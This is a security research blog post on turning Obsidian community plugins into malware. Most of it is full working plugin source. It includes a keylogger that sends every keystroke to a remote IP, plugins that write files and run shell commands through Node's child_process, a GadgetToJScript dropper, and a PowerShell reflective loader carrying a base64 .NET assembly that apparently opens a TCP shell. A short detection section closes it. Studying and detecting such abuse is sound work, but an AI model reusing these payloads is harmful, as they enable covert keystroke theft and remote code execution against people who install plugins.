Obsidian. An unconventional attack surface
Introduction⌗
This research was inspired by Katie Inns and Jake Knotts research around unconventional attack surfaces. Link here
I don’t quite remember how I came up with the idea of targeting obsidian plugins for malicious purposes, however, I do remember noticing that to install obsidian community plugins you have to disable “safe mode” which got me thinking on what are the potential consequences of a malicious plugin. Following this I did some research on what a plugin actually is and how I could make one.
While the idea of utilising these plugins for nefarious use is probably not an original one (considering you have to disable “safe mode” inside Obsidian to implement community generated plugins) I am yet to see some research around these or any evidence of them being used in the wild for fun and profit.
Essentially the initial idea was to attempt to leak some potentially sensitive information from a user to be used against an organisation.
The purpose of this research is not to uncover a new vulnerability in obsidian, it is uncovering new ways, seemly harmless and potentially overlooked applications (or features of) can be used maliciously by threat actors, to compromise a system, exfiltrate data or used as persistence mechanisms. This research can be classified as abuse of feature, a lot like macros in office documents.
Obsidian⌗
So what exactly is Obsidian? Obsidian is just a markdown renderer. There are many different types of mark down editors out there such as Noteable, gitbook, Jupyter etc all with varying functionality and use cases.
To understand what these applications are under the hood we need to understand what markdown is. Markdown is a markup language, it is a shorthand syntax for html. It allows users to write notes quickly while being nicely formatted.
So if you’re currently thinking these note taking applications must have to deal with html/ css somewhere to carry out this formatting, you would be right. Essentially these applications are built around some sort of chromium engine which essentially means they’re like mini web browsers, which must mean it is possible to execute JavaScript somewhere.
Plugins⌗
So lets start by defining what a plugin is in obsidian and how we can go about making one.
Essentially all they are is a folder with a main.js
file, and a css stylesheet. There are some other files that aren’t as interesting that are used to define version information and titles etc. We will skip over those for now. Therefore all a plugin is, is some JavaScript that executes within the context of the application.
Building the Malicious plugin⌗
Since a plugin is just JavaScript, I decided to generate my own to see what the capabilities of these plugins were and what access to the underlying file system they provide.
To start with I implemented a basic key logger which would monitor the key strokes of the user in any markdown file and send it to a remote server.
'use strict';
var obsidian = require('obsidian');
var extendStatics = function(d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
function __extends(d, b) {
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}
var MyPlugin = /** @class */ (function (_super) {
__extends(MyPlugin, _super);
function MyPlugin() {
return _super !== null && _super.apply(this, arguments) || this;
}
MyPlugin.prototype.onInit = function () {
};
MyPlugin.prototype.onload = function () {
var _this = this;
console.log('loading plugin');
document.onkeypress = function log(k){
new Image().src = "http://192.168.0.115:8000/?key=" + escape(k.key)
} <------------------------ keylogger
this.addRibbonIcon('dice', 'Sample Plugin', function () {
new obsidian.Notice('This is a notice!');
});
this.addStatusBarItem().setText('Status Bar Text');
this.addCommand({
id: 'open-sample-modal',
name: 'Open Sample Modal',
// callback: () => {
// console.log('Simple Callback');
// },
checkCallback: function (checking) {
var leaf = _this.app.workspace.activeLeaf;
if (leaf) {
if (!checking) {
new SampleModal(_this.app).open();
}
return true;
}
return false;
}
});
this.addSettingTab(new SampleSettingTab(this.app, this));
};
MyPlugin.prototype.onunload = function () {
console.log('unloading plugin');
};
return MyPlugin;
}(obsidian.Plugin));
var SampleModal = /** @class */ (function (_super) {
__extends(SampleModal, _super);
function SampleModal(app) {
return _super.call(this, app) || this;
}
SampleModal.prototype.onOpen = function () {
var contentEl = this.contentEl;
contentEl.setText('Woah!');
};
SampleModal.prototype.onClose = function () {
var contentEl = this.contentEl;
contentEl.empty();
};
return SampleModal;
}(obsidian.Modal));
var SampleSettingTab = /** @class */ (function (_super) {
__extends(SampleSettingTab, _super);
function SampleSettingTab() {
return _super !== null && _super.apply(this, arguments) || this;
}
SampleSettingTab.prototype.display = function () {
var containerEl = this.containerEl;
containerEl.empty();
containerEl.createEl('h2', { text: 'Settings for my awesome plugin.' });
new obsidian.Setting(containerEl)
.setName('Setting #1')
.setDesc('It\'s a secret')
.addText(function (text) { return text.setPlaceholder('Enter your secret')
.setValue('')
.onChange(function (value) {
console.log('Secret: ' + value);
}); });
};
return SampleSettingTab;
}(obsidian.PluginSettingTab));
module.exports = MyPlugin;
This worked perfectly and got me excited for what else could be done.
Initially I thought we might not be able to access the underlying file system or drop a file to disk (like in a normal JScript payload) because this was just JavaScript that executes within the context of a browser like in a normal web application or in an XSS payload, therefore we would be sand-boxed within the obsidian application. However, after a couple google searches later I discovered obsidian plugins utilise node js, allowing node functionality to be invoked within the plugin.
Discovering this I was able to create a payload to write a file to disk. This got me excited and a bit more research allowed me to use node to gain arbitrary code execution on the victim as can be seen below.
var obsidian = require('obsidian');
var fs = require('fs'); //<---------- import node js
var extendStatics = function(d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
function __extends(d, b) {
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}
var MyPlugin = /** @class */ (function (_super) {
__extends(MyPlugin, _super);
function MyPlugin() {
return _super !== null && _super.apply(this, arguments) || this;
}
MyPlugin.prototype.onInit = function () {
};
MyPlugin.prototype.onload = function () {
var _this = this;
console.log('loading!!!!!!!!!!!! plugin');
const content = 'Some content!';
fs.writeFile('C:\\Users\\Dev1\\Documents\\PluginTesting\\.obsidian\\plugins\\obsidian-sample-plugin-1.0.0\\test.txt', content, err => {
if (err) {
console.error(err);
}
// file written successfully
});
const { exec } = require("child_process");
exec("dir", (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
this.addRibbonIcon('dice', 'Sample Plugin', function () {
new obsidian.Notice('This is a notice!');
});
this.addStatusBarItem().setText('Status Bar Text');
this.addCommand({
id: 'open-sample-modal',
name: 'Open Sample Modal',
// callback: () => {
// console.log('Simple Callback');
// },
checkCallback: function (checking) {
var leaf = _this.app.workspace.activeLeaf;
if (leaf) {
if (!checking) {
new SampleModal(_this.app).open();
}
return true;
}
return false;
}
});
this.addSettingTab(new SampleSettingTab(this.app, this));
};
MyPlugin.prototype.onunload = function () {
console.log('unloading plugin');
};
return MyPlugin;
}(obsidian.Plugin));
var SampleModal = /** @class */ (function (_super) {
__extends(SampleModal, _super);
function SampleModal(app) {
return _super.call(this, app) || this;
}
SampleModal.prototype.onOpen = function () {
var contentEl = this.contentEl;
contentEl.setText('Woah!');
};
SampleModal.prototype.onClose = function () {
var contentEl = this.contentEl;
contentEl.empty();
};
return SampleModal;
}(obsidian.Modal));
var SampleSettingTab = /** @class */ (function (_super) {
__extends(SampleSettingTab, _super);
function SampleSettingTab() {
return _super !== null && _super.apply(this, arguments) || this;
}
SampleSettingTab.prototype.display = function () {
var containerEl = this.containerEl;
containerEl.empty();
containerEl.createEl('h2', { text: 'Settings for my awesome plugin.' });
new obsidian.Setting(containerEl)
.setName('Setting #1')
.setDesc('It\'s a secret')
.addText(function (text) { return text.setPlaceholder('Enter your secret')
.setValue('')
.onChange(function (value) {
console.log('Secret: ' + value);
}); });
};
return SampleSettingTab;
}(obsidian.PluginSettingTab));
module.exports = MyPlugin;
Shellz⌗
First Attempt⌗
Since we have the ability to write files to disk and execute commands on the victim I though lets take this a step further and drop some sort of beacon onto a device through the plugin.
Commonly a JavaScript payload being used as a dropper utilises ActiveXObjects to access namespaces within Windows to extend functionality of the payload and WScript to execute shell commands on the system.
This sounds like a good solution for our goals. Before we get writing our payload we need to understand what ActiveXObjects actually are.
ActiveX is a deprecated framework that was used within web applications to improve functionality. Within ActiveX, an object is an instance of a class, for example, objects can reference native classes and namespaces within Windows environments, which stretches to frameworks such as .NET allowing us to utilise namspaces within the .NET framework within a JavaScript application.
One example commonly seen used in these types of droppers is the System.Security.Cryptography
namespace found within the .NET, this namespace contains classes of interest to an attacker such as FromBase64Transform
which allows for their beacons to be decoded from Base64
before being loaded into memory.
So with that out the way, how are we actually going to get an executable loaded into memory?
Well with thanks to Leo Stavliotis I was shown this awesome tool GadgetToJScript. Which takes .NET assemblies and provides JS code to load them into memory. It does this by generating serialised gadgets that can trigger .NET execution from JavaScript.
Method⌗
- Generate payload
- GadgetToJScript
- profit?
To improve my chances of this working i used a simple payload at first as a POC which just pops a message box on screen.
using System.Windows.Forms;
namespace TestAssembly
{
public class Program
{
public static void Main(string[] args)
{
go();
}
public Program()
{
go();
}
private static void go()
{
MessageBox.Show("Test Assembly !!");
}
}
}
C:\Users\Dev1\Documents\GadgetToJScript2-2.0\GadgetToJScript2-2.0\GadgetToJScript\bin\Release>.\GadgetToJScript.exe -a "C:\Users\Dev1\Documents\GadgetToJScript2-2.0\GadgetToJScript2-2.0\TestAssembly\bin\Release\TestAssembly.exe" -w js -b
[+]: Generating the js payload
[+]: First stage gadget generation done.
[+]: Loading your .NET assembly:C:\Users\Dev1\Documents\GadgetToJScript2-2.0\GadgetToJScript2-2.0\TestAssembly\bin\Release\TestAssembly.exe
[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: test.js
This is the output generated from the GadgetToJScript
tool.
function Base64ToStream(b,l) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, l);
ms.Position = 0;
return ms;
}
var stage_1 = "[snipped for berevity]";
var stage_2 = "[snipped for berevity]";
try {
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
var ms_1 = Base64ToStream(stage_1, 2341);
var fmt_1 = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
fmt_1.Deserialize_2(ms_1);
} catch (e) {
try{
var ms_2 = Base64ToStream(stage_2, 12424);
var fmt_2 = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
fmt_2.Deserialize_2(ms_2);
}catch (e2){
alert(e2);
}
}
Loading this into my obsidian plugin and running it throws me an error.
As it turns out Obsidian doesn’t allow ActiveXObjects to be created which is strange considering functions like eval()
are allowed to run.
Working POC⌗
Potential routes:
So since that method didn’t work we will need to use an alternative method. We know we can execute command with child_process
feature within node. With this in mind, why don’t we just load an assembly in memory manually with PowerShell.
Ok lets do that.
Essentially the steps are the same as before but with a slightly different execution. Previously we were referencing .NET name spaces through ActiveX objects, now we are going to reference them directly through the PowerShell CLI.
A quick POC:
var obsidian = require('obsidian');
var fs = require('fs');
var extendStatics = function(d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
function __extends(d, b) {
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
}
var MyPlugin = /** @class */ (function (_super) {
__extends(MyPlugin, _super);
function MyPlugin() {
return _super !== null && _super.apply(this, arguments) || this;
}
MyPlugin.prototype.onInit = function () {
};
MyPlugin.prototype.onload = function () {
var _this = this;
console.log('loading plugin');
// node js exec function to execute payload on disk
var string2 = "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LgBzAC0BGgBxAASAAAABAAAAAAAAAAAAAAAAAHEEAAAEAAAAAAAAAAAAAAB7AB0AAAAAAAQAAAAAAAAAAAAAAHsAdgIAAAAAAAAAAAA8TW9kdWxlPgBTeXN0ZW0uSU8AZ2V0X0RhdGEAbXNjb3JsaWIAYWRkX091dHB1dERhdGFSZWNlaXZlZABBcHBlbmQASURpc3Bvc2FibGUAQ29uc29sZQBzZXRfRmlsZU5hbWUAQmVnaW5PdXRwdXRSZWFkTGluZQBXcml0ZUxpbmUAb3V0TGluZQBEaXNwb3NlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUmVtb3ZlAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAU3RyaW5nAEZsdXNoAGdldF9MZW5ndGgAVGVzdEFzc2VtYmx5LmRsbABOZXR3b3JrU3RyZWFtAEdldFN0cmVhbQBQcm9ncmFtAFN5c3RlbQBNYWluAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBnZXRfU3RhcnRJbmZvAFByb2Nlc3NTdGFydEluZm8AU3RyZWFtUmVhZGVyAFRleHRSZWFkZXIAU3RyaW5nQnVpbGRlcgBDbWRPdXRwdXREYXRhSGFuZGxlcgBEYXRhUmVjZWl2ZWRFdmVudEhhbmRsZXIAU3RyZWFtV3JpdGVyAHN0cmVhbVdyaXRlcgBUZXh0V3JpdGVyAHNldF9SZWRpcmVjdFN0YW5kYXJkRXJyb3IALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAERhdGFSZWNlaXZlZEV2ZW50QXJncwBhcmdzAHNlbmRpbmdQcm9jZXNzAFN5c3RlbS5OZXQuU29ja2V0cwBPYmplY3QAVGNwQ2xpZW50AFN0YXJ0AGdldF9TdGFuZGFyZElucHV0AHNldF9SZWRpcmVjdFN0YW5kYXJkSW5wdXQAc2V0X1JlZGlyZWN0U3RhbmRhcmRPdXRwdXQAU3lzdGVtLlRleHQAc2V0X0NyZWF0ZU5vV2luZG93AFRlc3RBc3NlbWJseQBJc051bGxPckVtcHR5AAAPVwBPAFIASwBJAE4ARwAAHTEAOQAyAC4AMQA2ADgALgA1ADYALgAxADAAMwAAD2MAbQBkAC4AZQB4AGUAAAD0hZ9Ycz6oTpVU+TkccvnBAAQgAQEIAyAAAQUgAQEREQQgAQEOBCABAQIMBwUSSRJNElESVRJZBAABAQ4FIAIBDggEIAASaQUgAQESTQQgABJtBSACARwYBSABARJxAyAAAgMgAA4FIAESVQ4EIAASRQQgAQEcAyAACAYgAhJVCAgEBwESVQQAAQIOCLd6XFYZNOCJAwYSRQUAAQEdDgYAAgEcEl0IAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEAAgAAAAAAEQEADFRlc3RBc3NlbWJseQAABQEAAAAAFwEAEkNvcHlyaWdodCDCqSAgMjAyMAAAKQEAJGIyYjNhZGIwLTE2NjktNGI5NC04NmNiLTZkZDY4MmRkYmVhMwAADAEABzEuMC4wLjAAAE0BABwuTkVURnJhbWV3b3JrLFZlcnNpb249djQuNi4xAQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZRQuTkVUIEZyYW1ld29yayA0LjYuMQAAAAAAThipzgAAAAACAAAAbgAAAOQrAADkDQAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAFJTRFP8jXfemPk/Spf2rjya25EWAQAAAEM6XFVzZXJzXERldjFcRG9jdW1l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";
var command = "powershell.exe -c dir;$string="+ "\'" + string2 +"\'" +";$bytes=[System.Convert]::FromBase64String($string);[System.Reflection.Assembly]::Load($bytes);[TestAssembly.Program]::Main('foo')";
const { exec } = require("child_process");
exec(command, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
this.addStatusBarItem().setText('Status Bar Text');
this.addCommand({
id: 'open-sample-modal',
name: 'Open Sample Modal',
// callback: () => {
// console.log('Simple Callback');
// },
checkCallback: function (checking) {
var leaf = _this.app.workspace.activeLeaf;
if (leaf) {
if (!checking) {
new SampleModal(_this.app).open();
}
return true;
}
return false;
}
});
this.addSettingTab(new SampleSettingTab(this.app, this));
};
MyPlugin.prototype.onunload = function () {
console.log('unloading plugin');
};
return MyPlugin;
}(obsidian.Plugin));
var SampleModal = /** @class */ (function (_super) {
__extends(SampleModal, _super);
function SampleModal(app) {
return _super.call(this, app) || this;
}
return SampleModal;
}(obsidian.Modal));
var SampleSettingTab = /** @class */ (function (_super) {
__extends(SampleSettingTab, _super);
function SampleSettingTab() {
return _super !== null && _super.apply(this, arguments) || this;
}
SampleSettingTab.prototype.display = function () {
var containerEl = this.containerEl;
containerEl.empty();
containerEl.createEl('h2', { text: 'Settings for my awesome plugin.' });
new obsidian.Setting(containerEl)
.setName('Setting #1')
.setDesc('It\'s a secret')
.addText(function (text) { return text.setPlaceholder('Enter your secret')
.setValue('')
.onChange(function (value) {
console.log('Secret: ' + value);
}); });
};
return SampleSettingTab;
}(obsidian.PluginSettingTab));
module.exports = MyPlugin;
Nice.
Conclusion⌗
Don’t install unknown plugins for markdown editors. Or use pen and paper.
Detection⌗
Since all this pluign is doing is executing system commands the normal detection capabilities shoud be applied. In this instance monitor for suspicious or malicious powershell commands such as[System.Reflection.Assembly]::Load($bytes)
which is a common reflective loading technique. Alternative solutions do exist such as [System.Reflection.Assembly]::LoadFrom('c:\tmp\malicousFile.dll')
.
Additionally, monitor for any child processes of obsidian